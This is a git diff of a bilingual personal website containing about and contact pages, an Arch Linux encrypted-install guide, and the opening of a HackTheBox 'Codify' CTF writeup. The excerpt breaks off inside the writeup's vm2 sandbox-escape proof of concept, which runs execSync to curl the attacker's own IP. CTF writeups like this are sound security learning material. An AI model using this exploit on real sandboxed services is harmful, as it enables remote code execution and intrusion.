diff --git a/content/about.en.md b/content/about.en.md new file mode 100644 index 0000000..a6c8bc1 --- /dev/null +++ b/content/about.en.md @@ -0,0 +1,15 @@ ++++ +title = "Who am I?" +description = "Who am I?" +date = "2023-05-21" ++++ + +{{}} + +Hi there, I'm Raul and this is my personal website, if you're interested in CTF writeups or tech tutorials then you'll most likely enjoy your stay here. + +My main interests revolve around cybersecurity and system/network administration with a little bit of programming on the side. + +If you'd like to know more about my programming experience, [I've always enjoyed writing in Go](https://git.bulgariu.xyz/raul). + +You can find some of my tutorials/writeups [here](/en/posts) diff --git a/content/about.md b/content/about.md new file mode 100644 index 0000000..94fa5c9 --- /dev/null +++ b/content/about.md @@ -0,0 +1,15 @@ ++++ +title = "¿Quién soy yo?" +description = "¿Quién soy yo?" +date = "2023-05-21" ++++ + +{{}} + +Hola, soy Raúl y este es mi sitio web personal, si estás interesado en guías de CTFs o tutoriales de informática, lo más probable es que disfrutes de tu estancia aquí. + +Mis principales intereses giran en torno a la ciberseguridad y la administración de sistemas/redes, con un poco de programación al lado. + +Si quieres saber más sobre mi experiencia en programación, [siempre me ha gustado escribir en Go](https://git.bulgariu.xyz/raul). + +Puedes encontrar algunos de mis tutoriales/artículos [aquí](/es/posts) diff --git a/content/authors/raul-bulgariu-suciu/_index.en.md b/content/authors/raul-bulgariu-suciu/_index.en.md new file mode 100644 index 0000000..ddeabf2 --- /dev/null +++ b/content/authors/raul-bulgariu-suciu/_index.en.md @@ -0,0 +1,6 @@ ++++ +draft = false +date = 2023-01-05T01:15:52+01:00 +title = "Raul Bulgariu Suciu" ++++ +_Just a hacker trying to get by..._ diff --git a/content/authors/raul-bulgariu-suciu/_index.md b/content/authors/raul-bulgariu-suciu/_index.md new file mode 100644 index 0000000..2c96a28 --- /dev/null +++ b/content/authors/raul-bulgariu-suciu/_index.md @@ -0,0 +1,6 @@ ++++ +draft = false +date = 2023-01-05T01:15:52+01:00 +title = "Raul Bulgariu Suciu" ++++ +_Solo un hacker tratando de salir adelante..._ diff --git a/content/contact.en.md b/content/contact.en.md new file mode 100644 index 0000000..2a26562 --- /dev/null +++ b/content/contact.en.md @@ -0,0 +1,9 @@ ++++ +title = "Contact me" +slug = "contact" ++++ + +* raul@bulgariu.xyz +* GPG key for encrypting email if you wish, download [here](/raul.pub) or just run: + * `curl -sL https://bulgariu.xyz/raul.pub | gpg --import` + * GPG Fingerprint: `E087 CEB3 1E04 9693 9486 D4D6 C1AA 7970 73F1 7129` diff --git a/content/contact.md b/content/contact.md new file mode 100644 index 0000000..15e4940 --- /dev/null +++ b/content/contact.md @@ -0,0 +1,9 @@ ++++ +title = "Contáctame" +slug = "contact" ++++ + +* raul@bulgariu.xyz +* Llave GPG para encriptar correo sí lo deseas, descarga [aquí](/raul.pub) o ejecuta: + * `curl -sL https://bulgariu.xyz/raul.pub | gpg --import` + * GPG Fingerprint: `E087 CEB3 1E04 9693 9486 D4D6 C1AA 7970 73F1 7129` diff --git a/content/posts/archlinux-install/index.en.md b/content/posts/archlinux-install/index.en.md new file mode 100644 index 0000000..e7b81a4 --- /dev/null +++ b/content/posts/archlinux-install/index.en.md @@ -0,0 +1,170 @@ ++++ +draft = false +date = 2023-05-21T12:32:26+02:00 +title = "Arch Linux LUKS encrypted UEFI installation" +description = "A simple Arch Linux installation guide" +slug = "" +authors = ["Raul Bulgariu Suciu"] +tags = ["Linux", "Tutorial"] +categories = [] +externalLink = "" +series = [] ++++ + +This is a guide meant to help you get an Arch Linux install working on a UEFI computer with full disk encryption, if your needs differ in any way, you can consult the original installation guide [here](https://wiki.archlinux.org/title/Installation_guide). Let's get started: + +# Important disclaimer +Please, read each step carefully and if possible, first try to perform the installation within a [virtual machine](https://www.virtualbox.org/), I don't know the full extent of any possible errors that this guide might have so if you spot any, please feel free to [tell me about it!](/en/contact/). + +# Download the .iso +1. Download the latest .iso from the official [Arch Linux website](https://archlinux.org/download/) + +# Create a bootable USB drive +1. Download and use [Ventoy](https://www.ventoy.net/en/download.html) to create a multi-bootable USB drive +2. Drag the Arch Linux .iso into the Ventoy partition of your USB +3. Find out the [BIOS button](https://www.tomshardware.com/reviews/bios-keys-to-access-your-firmware,5732.html) for your computer brand and use it to boot into your USB drive +4. Once you reach the boot screen, just select the default options +> I might make a Ventoy installation tutorial in the future, stay tuned. + +# Setting keyboard layout +1. Find out the codename for your keyboard layout, the layout files can be seen with `ls /usr/share/kbd/keymaps` +2. Run ``loadkeys KB`` while replacing "KB" with the code for your correct layout + +> For example, in my case I would run `loadkeys es` to use the spanish keyboard layout. + +# Check for UEFI support +1. Once we got our keyboard working properly, we can go ahead and check real quick that we do have UEFI support by running ```ls /sys/firmware/efi/efivars``` +2. If the command above didn't spit out a bunch of files then your computer's not running in UEFI mode, check BIOS settings and if you don't have any UEFI support, refer to the [official Arch Linux installation guide](https://wiki.archlinux.org/title/Installation_guide), as an Arch Linux BIOS installation exceeds the scope of this guide + +# Establish an Internet connection +> If you're connected through ethernet then it should work out of the box. +1. If you want to use Wi-Fi for the installation, first run `iwctl` +2. While in this interactive prompt, run `station list` to find out the names for your wireless interface +3. Afterwards, run: ```station WIRELESS_INTERFACE connect SSID``` while replacing WIRELESS_INTERFACE with your own *(for example, mine is called `wlan0`)* and SSID with the name of your wireless network +4. Once connected, hit **Ctrl+D** to exit the prompt + +# Partitioning the disk +> Please, remember that disk names will ***usually*** vary depending on each computer, I urge you to run `lsblk` and check yourself which is the disk you wish to partition, especially if you're running a multi-disk setup. ***This will probably save you from accidentally messing up the wrong disk.*** + +> Also, if you're using an NVMe disk drive then the naming will change from sda, sdb, etc... to something similar like **"nvme0n1"**, `lsblk` will also help you there. + +1. Now we're getting into the danger zone, please read the text above and make sure you know the correct name for your disk drive, from now on I will be using /dev/sdX to refer to the installation disk, ***replace the X with the correct letter for your disk*** +2. Once everything is figured out, we'll run `cfdisk /dev/sdX`, from here we'll choose a GPT partition table for our disk if it's completely empty or delete the existing partitions +3. Once we have our free space, select "New" and create a 1G partition **(Boot partition)**, then change its "Type" to ***"EFI System"*** +4. Then we'll select the remaining free space, hit "New" again and create a new partition with the remaining space **(Root partition)** +5. Once everything is done, hit "Write", then "Quit" + +# Encrypting the root partition +> If everything went correctly, running `lsblk` should now show the newly created partitions. + +1. Now we can begin to encrypt our system by running `cryptsetup luksFormat /dev/sdX2`, you will be prompted to enter the passphrase for booting up your system, please, ***do NOT forget this passphrase*** + +> Remember you're supposed to run the above command on the root partition, not on the entire disk itself. + +2. Run `cryptsetup open /dev/sdX2 crypt` to open your newly encrypted partition + +# Creating filesystems +1. Create the filesystem for your EFI boot partition by running `mkfs.vfat -F32 /dev/sdX1` +2. Create the root filesystem with `mkfs.ext4 /dev/mapper/crypt` + +# Mounting filesystems +1. Run `mount /dev/mapper/crypt /mnt` to mount the root filesystem +2. Run `mount --mkdir /dev/sdX1 /mnt/boot` to mount your boot filesystem +3. Run `lsblk` to make sure that everything went well + +# Create the swap file +> The swap file is disk memory that'll be utilized when there's not enough RAM, if you skip this step then your system will freeze everytime it uses up too much RAM. + +> The amount of swap you need will depend on your needs, if you have no intention to configure hibernation then you can leave it at a far smaller number, I personally use 2GB of swap with 8GB of RAM. +1. Run `dd if=/dev/zero of=/mnt/swapfile bs=1M count=xxxx status=progress` while replacing "xxxx" with the amount of megabytes you're gonna give to your swapfile +2. Run `chmod 600 /mnt/swapfile` to set the right permissions +3. Run `mkswap /mnt/swapfile` to turn it into an actual swapfile +4. Run `swapon /mnt/swapfile` to activate it + +# Pacstrapping +1. Now for installing the Arch Linux files, run `pacstrap -K /mnt base base-devel linux linux-firmware neovim` +> You can replace neovim with your preferred terminal editor of choice + +# Generating /etc/fstab +> This is a pretty important step, it'll tell your operating system which partitions to mount and where when booting up. +1. Run `genfstab -U /mnt >> /mnt/etc/fstab` to generate an fstab file using partition UUIDs + +# Chrooting into the new environment +1. Run `arch-chroot /mnt` to switch to your Arch Linux installation + +# Setting locales +1. Run `ln -sf /usr/share/zoneinfo/Europe/Madrid /etc/localtime` *(replace /Europe/Madrid with your timezone)* +2. Run `hwclock --systohc` +3. Edit /etc/locale.gen with your editor of choice and uncomment the locales you wish to use *(I personally use en_US and es_ES)* +4. Run `locale-gen` to generate your selected locales +5. Run `echo 'LANG=en_US.UTF-8' > /etc/locale.conf` +> The above command will change the display language of your OS, if you wish to use spanish or whatnot, modify accordingly. +6. Run `echo 'KEYMAP=es' > /etc/vconsole.conf` +> This one takes care of the keymap used by default in TTYs, will save you a headache later on when booting into the installation, and as always, if you use a different keymap, modify accordingly. + +# Setting hostname +1. Run `echo 'genesis' > /etc/hostname` and replace genesis with your preferred hostname +2. Modify /etc/hosts with your editor of choice and insert the following lines: +```bash +127.0.0.1 localhost +::1 localhost +``` + +# Configure initramfs for encrypted booting +1. Modify /etc/mkinitcpio.conf with your editor of choice and in the `HOOKS` array, add `encrypt` between `block` and `filesystems`so that it looks something like this: +``` +HOOKS=(base udev autodetect modconf kms keyboard keymap consolefont block encrypt filesystems fsck) +``` +2. Run `mkinitcpio -P` + +# Installing the bootloader +> Replace amd-ucode with intel-ucode if you have an Intel processor. +1. Run `pacman -S grub efibootmgr amd-ucode` to install the bootloader and CPU microcode +2. Run `echo "GRUB_CMDLINE_LINUX=cryptdevice=UUID=$(blkid -s UUID -o value /dev/sdX2):crypt" >> /etc/default/grub` +> Remember to replace sdX2 with the correct disk partition, otherwise you won't be able to boot! +3. After running the command above, open `/etc/default/grub` with your editor of choice and replace the original "GRUB_CMDLINE_LINUX" with the one you echoed into the file +4. Without closing your editor, please remember to also uncomment the `GRUB_ENABLE_CRYPTODISK=y` line within the file +5. Run `grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB` +6. Run `grub-mkconfig -o /boot/grub/grub.cfg` + +# Setting the root password +1. Run `passwd` to set your root password + +# Final touches +That's actually it! Now we ***could*** reboot if we wanted and we'd have a "working" system, but there are a few things we should take care of first while we're still here: + +## Installing NetworkManager / iwd +These two will help you actually connect to the Internet once you boot into Arch Linux, ***however you can only choose one***, NetworkManager is more novice friendly although a bit heavy on resources, meanwhile iwd is a far more minimalist network daemon, if you don't know what to pick, just go with NetworkManager: + +### NetworkManager +1. Run `pacman -S networkmanager` to install the network daemon +2. Once done, run `systemctl enable NetworkManager` for the daemon to start next reboot +> By the way, keep in mind the capital letters when dealing with NetworkManager, if you run `systemctl enable networkmanager` then it won't do anything. +> After you reboot the system, all you have to do is run `nmtui` to bring up a fancy TUI menu for connecting to your wireless network. + +### iwd +1. Run `pacman -S iwd` and install it +2. Run `systemctl enable iwd` +> For connecting to Wi-Fi post-reboot, you just have to follow the same steps at the beginning of the guide, `iwctl`, `station wlan0 connect`, etc... + +## Creating an user account +> Remember to replace "raul" with your preferred username! +1. Run `useradd -m -G wheel,games,network,audio,video -s /bin/bash raul` +2. Run `EDITOR=nvim visudo` and uncomment the `%wheel ALL=(ALL:ALL) ALL` line +> Replace nvim above with your preferred editor, the step above will give your user administrator privileges. +3. Run `passwd raul` or whatever your username is supposed to be, and give your account a password as well + +## Reducing swappiness +> Swappiness is how often your system will make use of swap memory, unless you have around 4 GB of RAM, you'll most likely want to lower this value to increase system performance, however feel free to adjust the value to whatever fits right for you. +1. Run `echo 'vm.swappiness=20' > /etc/sysctl.d/99-swappiness.conf` + +# Finishing up +That's about all of it! Now that everything finished up, hit Ctrl+D to quit the chroot session and run `reboot` so you can boot into your newly installed Arch Linux system *(remember to remove the bootable USB drive)*, once you get past the login screen you'll realize that there's nothing but a terminal, that's because this is where the real journey starts, you'll most likely want a desktop environment to install so you can make actual use of the PC. + +> By the way remember the tip from earlier to use `nmtui` to connect to your wireless network. + +While this might go against the essence of building your own work environment, if you want something that just works out of the box, just run the following command: +```bash +sudo pacman -Syu xorg xorg-server ffmpeg4.4 ffmpegthumbnailer tumbler gvfs ttf-roboto ttf-roboto-mono xfce4 xfce4-goodies lightdm lightdm-gtk-greeter lightdm-gtk-greeter-settings pulseaudio pulseaudio-alsa pulseaudio-jack && sudo systemctl enable lightdm +``` +And then reboot your system! XFCE is a lightweight and great desktop environment that *"just works"*. diff --git a/content/posts/archlinux-install/index.md b/content/posts/archlinux-install/index.md new file mode 100644 index 0000000..ee43532 --- /dev/null +++ b/content/posts/archlinux-install/index.md @@ -0,0 +1,171 @@ ++++ +draft = false +date = 2023-05-21T12:32:26+02:00 +title = "Instalación UEFI encriptada de Arch Linux" +description = "Una simple guía de instalación de Arch Linux" +slug = "" +authors = ["Raul Bulgariu Suciu"] +tags = ["Linux", "Tutorial"] +categories = [] +externalLink = "" +series = [] ++++ + +Esta es una guía con la intención de ayudarte a instalar Arch Linux en un ordenador UEFI con encripción de disco completo, si tus necesidades se diferencian de alguna manera, puedes consultar la guía de instalación original [aquí](https://wiki.archlinux.org/title/Installation_guide). Vamos a empezar: + +# Aviso importante +Por favor, lea cada paso con cuidado y si es posible, intente primero realizar la instalación dentro de una [máquina virtual](https://www.virtualbox.org/), no sé el alcance total de los posibles errores que esta guía podría tener, así que si detecta alguno, no dudes en [avisarme!](/contact). + +# Descargando el .iso +1. Descarga el último archivo .iso de la [página de Arch Linux](https://archlinux.org/download/) + +# Crea una unidad USB booteable +1. Descarga y utiliza [Ventoy](https://www.ventoy.net/en/download.html) para crear una unidad USB multi-booteable +2. Arrastra el .iso de Arch Linux a la partición "Ventoy" creada en tu USB +3. Descubre el [botón de la BIOS](https://www.tomshardware.com/reviews/bios-keys-to-access-your-firmware,5732.html) de tu marca de ordenador y utilizalo para iniciar como sistema operativo tu unidad USB +4. Una vez que llegues a la pantalla de inicio, solo selecciona las opciones por defecto +> Puede que haga un tutorial de Ventoy en el futuro, estad atentos. + +# Configurar la distribución de teclado +1. Descubre el código para tu distribución de teclado, los códigos pueden ser vistos con `ls /usr/share/kbd/keymaps` +2. Ejecuta `loadkeys KB` reemplazando "KB" con el código para tu distribución correcta + +> Por ejemplo, en mi caso ejecutaría `loadkeys es` para utilizar la distribución de teclado española. + +# Comprobar la compatibilidad UEFI +1. Una vez funciona bien nuestro teclado, podemos seguir adelante y verificar en un segundo que tenemos soporte UEFI ejecutando ```ls /sys/firmware/efi/efivars``` +2. Si el comando de arriva no ha mostrado una gran cantidad de archivos, tu ordenador no tiene UEFI activada, si después de revisar la configuración de la BIOS no tienes soporte de UEFI, consulta [la guía de instalación oficial](https://wiki.archlinux.org/title/Installation_guide), ya que una instalación de Arch Linux en BIOS supera el alcance de esta guía + +# Establecer la conexión a Internet +> Si estás conectado por cable deberías tener conexión sin necesidad de configurar nada. +1. Si deseas utilizar Wi-Fi para la instalación, primero ejecuta `iwctl` +2. Después, ejecuta `station list` para descubrir el nombre de tu interfaz de red inalámbrica +3. Ahora ejecuta: `station INTERFAZ_INALAMBRICA connect SSID` y reemplaza INTERFAZ_INALAMBRICA con tu interfaz *(por ejemplo, mi interfaz se llama `wlan0`)* y SSID con el nombre de tu red Wi-Fi +4. Una vez conectado, pulsa **Ctrl+D** para salir de iwctl + +# Particionado de disco +> Por favor, recuerda que los nombres de disco son ***usualmente*** diferentes en cada ordenador, te pido que ejecutes `lsblk` y revises por tí mismo cuál es el disco que deseas particionar, especialmente si tienes un ordenador con múltiples discos duros. ***Esto te ayudará a no borrar el disco equivocado***. + +> Por cierto, si estás utilizando un disco NVMe, los nombres cambiarán de sda, sdb, etc... a algo parecido a **"nvme0n1"**, `lsblk` también te ayudará aquí. + +1. Ahora estamos entrando en la zona de peligro, por favor, lee el texto de arriba y asegurate de que sabes el nombre de disco correcto, a partir de ahora utilizaré /dev/sdX para referirme al disco de instalación, ***reemplaza la X con la letra correcta de tu disco*** +2. Una vez estás seguro, ejecuta `cfdisk /dev/sdX`, desde aquí elige la tabla de partición GPT si cfdisk te pregunta, y en caso contrario, borraremos las particiones no deseadas. +3. Con el nuevo espacio libre, selecciona "New" y crea una partición de 1G **(Partición de inicio)**, y cambia su "Type" o tipo a ***"EFI System"*** +4. Ahora selecciona el espacio libre restante, pulsa "New" otra vez y crea una nueva partición con todo el espacio restante **(Partición root)** +5. Cuando acabes, pulsa "Write" y entonces "Quit" + +# Encriptando la partición root +> Si todo fue correctamente, ejecutar `lsblk` debería mostrar las nuevas particiones creadas. + +1. Ahora podemos encriptar nuestro sistema ejecutando `cryptsetup luksFormat /dev/sdX2`, la herramienta te pedirá una contraseña para iniciar tu sistema operativo, por favor, ***no te olvides de esta contraseña*** + +> Recuerda que el comando de arriba se ejecuta sobre la partición root, no sobre el disco entero. + +2. Ejecuta `cryptsetup open /dev/sdX2 crypt` para abrir tu partición encriptada + +# Creando los sistemas de archivos +1. Crea el sistema de archivos para tu partición de inicio ejecutando `mkfs.vfat -F32 /dev/sdX1` +2. Crea el sistema de archivos para tu partición root ejecutando `mkfs.ext4 /dev/mapper/crypt` + +# Montando los sistemas de archivos +1. Ejecuta `mount /dev/mapper/crypt /mnt` para montar tu sistema de archivos root +2. Ejecuta `mount --mkdir /dev/sdX1 /mnt/boot` para montar tu sistema de archivos de inicio +3. Ejecuta `lsblk` para asegurarte de que todo fue bien + +# Crea el archivo swap +> El archivo swap es memoria de disco que será utilizada en caso de que no haya suficiente RAM, si te saltas este paso tu sistema se congelará cada vez que utilize demasiada memoria RAM. + +> La cantidad de swap que necesitas dependerá de tus necesidades, si no tienes intención de configurar hibernación entonces puedes utilizar mucho menos swap, personalmente utilizo 2GB de swap con 8GB de memoria RAM. + +1. Ejecuta `dd if=/dev/zero of=/mnt/swapfile bs=1M count=xxxx status=progress` y reemplaza "xxxx" con la cantidad de megabytes que quieres darle a tu swapfile +2. Ejecuta `chmod 600 /mnt/swapfile` para darle los permisos correctos +3. Ejecuta `mkswap /mnt/swapfile` para darle formato de swap +4. Ejecuta `swapon /mnt/swapfile` para activar la swapfile + +# Pacstrap +1. Ahora para instalar los archivos de Arch Linux, ejecuta `pacstrap -K /mnt base base-devel linux linux-firmware neovim` +> Puedes reemplazar neovim con tu editor de texto en terminal preferido + +# Generando /etc/fstab +> Este es un paso bastante importante, este archivo le dice a tu sistema operativo que particiones montar y donde al iniciar. +1. Ejecuta `genfstab -U /mnt >> /mnt/etc/fstab` para generar una archivo fstab utilizando UUIDs de particiones + +# Haciendo chroot en el nuevo entorno +1. Ejecuta `arch-chroot /mnt` para cambiar de terminal a tu nuevo entorno Arch Linux + +# Configuraciones regionales +1. Ejecuta `ln -sf /usr/share/zoneinfo/Europe/Madrid /etc/localtime` *(reemplaza /Europe/Madrid con tu zona horaria correcta)* +2. Ejecuta `hwclock --systohc` +3. Edita /etc/locale.gen con tu editor preferido y descomenta las regiones que deseas utilizar *(personalmente utilizo en_US y es_ES)* +4. Ejecuta `locale-gen` para generar los datos de región +5. Ejecuta `echo 'LANG=en_US.UTF-8' > /etc/locale.conf` +> El comando de arriba cambiará el idioma de visualización de tu sistema operativo, si deseas utilizar español o lo que sea, modifica el comando acordemente. +6. Ejecuta `echo 'KEYMAP=es' > /etc/vconsole.conf` +> Este se encarga de que distribución de teclado será utilizada por defecto en las TTYs, esto te ahorrará un dolor de cabeza después cuando inicies tu instalación, y como siempre, si utilizas una distribución diferente, modifica acordemente. + +# Configurar el nombre de host +1. Ejecuta `echo 'genesis' > /etc/hostname` y reemplaza genesis con tu nombre de host preferido +2. Modifica /etc/hosts con tu editor preferido e inserta las siguientes líneas: +```bash +127.0.0.1 localhost +::1 localhost +``` + +# Configurar initramfs para poder iniciar sistemas encriptados +1. Modifica /etc/mkinitcpio.conf con tu editor preferido y en la línea `HOOKS`, añade `encrypt` entre `block` y `filesystems` para que se parezca a algo así: +``` +HOOKS=(base udev autodetect modconf kms keyboard keymap consolefont block encrypt filesystems fsck) +``` +2. Ejecuta `mkinitcpio -P` + +# Instalando el bootloader +> Reemplaza amd-ucode con intel-ucode si tienes un procesador Intel. +1. Ejecuta `pacman -S grub efibootmgr amd-ucode` para instalar el bootloader y el microcódigo de CPU +2. Ejecuta `echo "GRUB_CMDLINE_LINUX=cryptdevice=UUID=$(blkid -s UUID -o value /dev/sdX2):crypt" >> /etc/default/grub` +> Recuerda reemplazar sdX2 con la partición de disco correcta, en caso contrario no podrás iniciar tu sistema! +3. Después de ejecutar el comando de arriba, abre `/etc/default/grub` con tu editor preferido y reemplaza el "GRUB_CMDLINE_LINUX" original con el que has insertado dentro del archivo +4. Sin cerrar tu editor, por favor recuerda descomentar la línea `GRUB_ENABLE_CRYPTODISK=y` dentro del archivo +5. Ejecuta `grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB` +6. Ejecuta `grub-mkconfig -o /boot/grub/grub.cfg` + +# Configurando la contraseña root +1. Ejecuta `passwd` para configurar tu contraseña root + +# Toques finales +Eso es todo! Ahora ***podríamos*** reiniciar si queremos y tendríamos un sistema en "funcionamiento", pero hay algunas cosas de las que deberíamos encargarnos mientras sigamos aquí: + +## Instalando NetworkManager / iwd +Estos dos nos ayudarán a conectarnos al Internet cuando inicies Arch Linux, ***pero solo puedes escoger uno de ellos***, NetworkManager es más amistoso para novatos pero un poco pesado en recursos, mientras que iwd es un daemon de red mucho más minimalista, si no sabes que elegir, solo escoge NetworkManager: + +### NetworkManager +1. Ejecuta `pacman -S networkmanager` para instalar el daemon de red +2. Una vez terminado, ejecuta `systemctl enable NetworkManager` para que el daemon empieze al reiniciar el sistema +> Por cierto, recuerda las letras mayúsculas al tratar con NetworkManager, si ejecutas `systemctl enable networkmanager` no hará nada. +> Una vez que reinicies el sistema, lo único que tienes que hacer es ejecutar `nmtui`, que mostrará un menú de texto gráfico para conectarte a tu red inalámbrica. + +### iwd +1. Ejecuta `pacman -S iwd` para instalarlo +2. Ejecuta `systemctl enable iwd` +> Para conectarte a Wi-Fi después del reinicio, solo tienes que seguir los mismos pasos del principio de la guía, `iwctl`, `station wlan0 connect`, etc... + +## Creando una cuenta de usuario +> Recuerda reemplazar "raul" con tu nombre de usuario preferido! +1. Ejecuta `useradd -m -G wheel,games,network,audio,video -s /bin/bash raul` +2. Ejecuta `EDITOR=nvim visudo` y descomenta la línea `%wheel ALL=(ALL:ALL) ALL` +> Reemplaza nvim arriba con tu editor preferido, este paso le dará a tu usuario creado privilegios administrativos. +3. Ejecuta `passwd raul` o cual sea tu usuario, y dale a tu cuenta una contraseña también + +## Reduciendo la swappiness +> Swappiness es la frecuencia con la cual tu sistema hará uso de la memoría de disco, a no ser que tengas 4 GB de RAM, querrás reducir este valor para incrementar el rendimiento de tu sistema, ajusta el valor a lo que se adapte bien a tu sistema. +1. Ejecuta `echo 'vm.swappiness=20' > /etc/sysctl.d/99-swappiness.conf` + +# Terminando +Eso debería ser todo! Ahora pulsa Ctrl+D para salir de la sesión chroot y ejecuta `reboot` para iniciar tu nueva instalación de Arch Linux *(recuerda desconectar la unidad USB después de reiniciar)*, una vez atravieses la pantalla de inicio de sesión te darás cuenta de que no hay nada más que una terminal, eso es porque aquí es donde empieza la aventura de verdad, probablemente querrás un entorno de escritorio para utilizar tu ordenador. + +> Por cierto, recuerda el consejo de antes de utilizar `nmtui` para conectarte a tu red Wi-Fi. + +Mientras que esto vaya en contra de la esencia de construir tu propio entorno de trabajo, si quieres algo que funcione y ya está, puedes ejecutar el siguiente comando: +```bash +sudo pacman -Syu xorg xorg-server ffmpeg4.4 ffmpegthumbnailer tumbler gvfs ttf-roboto ttf-roboto-mono xfce4 xfce4-goodies lightdm lightdm-gtk-greeter lightdm-gtk-greeter-settings pulseaudio pulseaudio-alsa pulseaudio-jack && sudo systemctl enable lightdm +``` +Y reinicia tu sistema! XFCE es un gran entorno de escritorio muy ligero y que *"funciona y ya está"*. diff --git a/content/posts/htb-codify-writeup/files/asterisk.png b/content/posts/htb-codify-writeup/files/asterisk.png new file mode 100644 index 0000000..e2af654 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/asterisk.png differ diff --git a/content/posts/htb-codify-writeup/files/attempt.png b/content/posts/htb-codify-writeup/files/attempt.png new file mode 100644 index 0000000..3c00ec9 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/attempt.png differ diff --git a/content/posts/htb-codify-writeup/files/disallowed.png b/content/posts/htb-codify-writeup/files/disallowed.png new file mode 100644 index 0000000..7d319ea Binary files /dev/null and b/content/posts/htb-codify-writeup/files/disallowed.png differ diff --git a/content/posts/htb-codify-writeup/files/files.png b/content/posts/htb-codify-writeup/files/files.png new file mode 100644 index 0000000..8e88901 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/files.png differ diff --git a/content/posts/htb-codify-writeup/files/flag.png b/content/posts/htb-codify-writeup/files/flag.png new file mode 100644 index 0000000..3b8bbe1 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/flag.png differ diff --git a/content/posts/htb-codify-writeup/files/hit.png b/content/posts/htb-codify-writeup/files/hit.png new file mode 100644 index 0000000..9d51908 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/hit.png differ diff --git a/content/posts/htb-codify-writeup/files/hosts.png b/content/posts/htb-codify-writeup/files/hosts.png new file mode 100644 index 0000000..7d7c04d Binary files /dev/null and b/content/posts/htb-codify-writeup/files/hosts.png differ diff --git a/content/posts/htb-codify-writeup/files/johntheripper.png b/content/posts/htb-codify-writeup/files/johntheripper.png new file mode 100644 index 0000000..095c2a6 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/johntheripper.png differ diff --git a/content/posts/htb-codify-writeup/files/pspy.png b/content/posts/htb-codify-writeup/files/pspy.png new file mode 100644 index 0000000..85187d1 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/pspy.png differ diff --git a/content/posts/htb-codify-writeup/files/revshell.png b/content/posts/htb-codify-writeup/files/revshell.png new file mode 100644 index 0000000..ab6f064 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/revshell.png differ diff --git a/content/posts/htb-codify-writeup/files/rootpass.png b/content/posts/htb-codify-writeup/files/rootpass.png new file mode 100644 index 0000000..ce3b491 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/rootpass.png differ diff --git a/content/posts/htb-codify-writeup/files/scan.png b/content/posts/htb-codify-writeup/files/scan.png new file mode 100644 index 0000000..1f0a21f Binary files /dev/null and b/content/posts/htb-codify-writeup/files/scan.png differ diff --git a/content/posts/htb-codify-writeup/files/script.png b/content/posts/htb-codify-writeup/files/script.png new file mode 100644 index 0000000..288323f Binary files /dev/null and b/content/posts/htb-codify-writeup/files/script.png differ diff --git a/content/posts/htb-codify-writeup/files/scriptcontent.png b/content/posts/htb-codify-writeup/files/scriptcontent.png new file mode 100644 index 0000000..31aea82 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/scriptcontent.png differ diff --git a/content/posts/htb-codify-writeup/files/sqlite-fs8.png b/content/posts/htb-codify-writeup/files/sqlite-fs8.png new file mode 100644 index 0000000..1f37b27 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/sqlite-fs8.png differ diff --git a/content/posts/htb-codify-writeup/files/sqlite.png b/content/posts/htb-codify-writeup/files/sqlite.png new file mode 100644 index 0000000..f59d6c1 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/sqlite.png differ diff --git a/content/posts/htb-codify-writeup/files/ssh.png b/content/posts/htb-codify-writeup/files/ssh.png new file mode 100644 index 0000000..b4d07e6 Binary files /dev/null and b/content/posts/htb-codify-writeup/files/ssh.png differ diff --git a/content/posts/htb-codify-writeup/files/title.png b/content/posts/htb-codify-writeup/files/title.png new file mode 100644 index 0000000..9e626ee Binary files /dev/null and b/content/posts/htb-codify-writeup/files/title.png differ diff --git a/content/posts/htb-codify-writeup/index.en.md b/content/posts/htb-codify-writeup/index.en.md new file mode 100644 index 0000000..37fe3da --- /dev/null +++ b/content/posts/htb-codify-writeup/index.en.md @@ -0,0 +1,147 @@ ++++ +draft = false +date = 2023-12-11T17:09:33+01:00 +title = "HackTheBox Codify Writeup" +description = "A walkthrough for the HTB \"Codify\" machine" +slug = "" +authors = ["Raul Bulgariu Suciu"] +tags = ["Tutorial", "Hacking", "HTB"] +categories = [] +externalLink = "" +series = [] ++++ + +{{}} + +Welcome to my first CTF writeup! Today I'll be guiding you on how to hack the "Codify" machine from HackTheBox: + +# Basic reconnaissance + +Running an Nmap scan you'll notice that we have three ports open to us: **SSH**, **Apache** and an open NodeJS instance, although I'd recommend ignoring the last one as it seems to be a red herring. + +{{}} + +For now let's just associate the IP to the domain name so we can access to the site via web browser: + +{{}} + +# Gaining a foothold +Looking at the website, it seems to be made for testing NodeJS code, first thing that comes to mind is possible RCE using system modules, however, ***it seems like the devs of this website had already seen this coming!*** + +{{}} + +Looking around we find an "About us" page that talks about the developer's motivations and such, but there's also an interesting section not only talking about the library used for sandboxing the NodeJS code we run on their website, but even giving us the version being used! How nice of them! + +> "The [vm2](https://github.com/patriksimek/vm2/releases/tag/3.9.16) library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code" + +Running a quick online search, we find out that the 3.9.16 version of vm2 being used by the website just so happens to suffer from a sandbox escape vulnerability, and after doing a bit of digging, we can even find [a PoC exploit](https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c) for it! + +## VM2 shenanigans (and reverse shells!) + +We can now head to the page's code tester and paste the following exploit, however we first would like to know if it's functional, so we try to curl from a Python HTTP server hosted on our attacking machine: + +> Remember to modify `execSync('curl http://10.10.16.95:8000')` and add your own IP address! + +```js +const {VM} = require("vm2"); +const vm = new VM(); + +const code = ` +async function fn() { + (function stack() { + new Error().stack; + stack(); + })(); +} +p = fn(); +p.constructor = { + [Symbol.species]: class FakePromise { + constructor(executor) { + executor( + (x) => x, + (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl 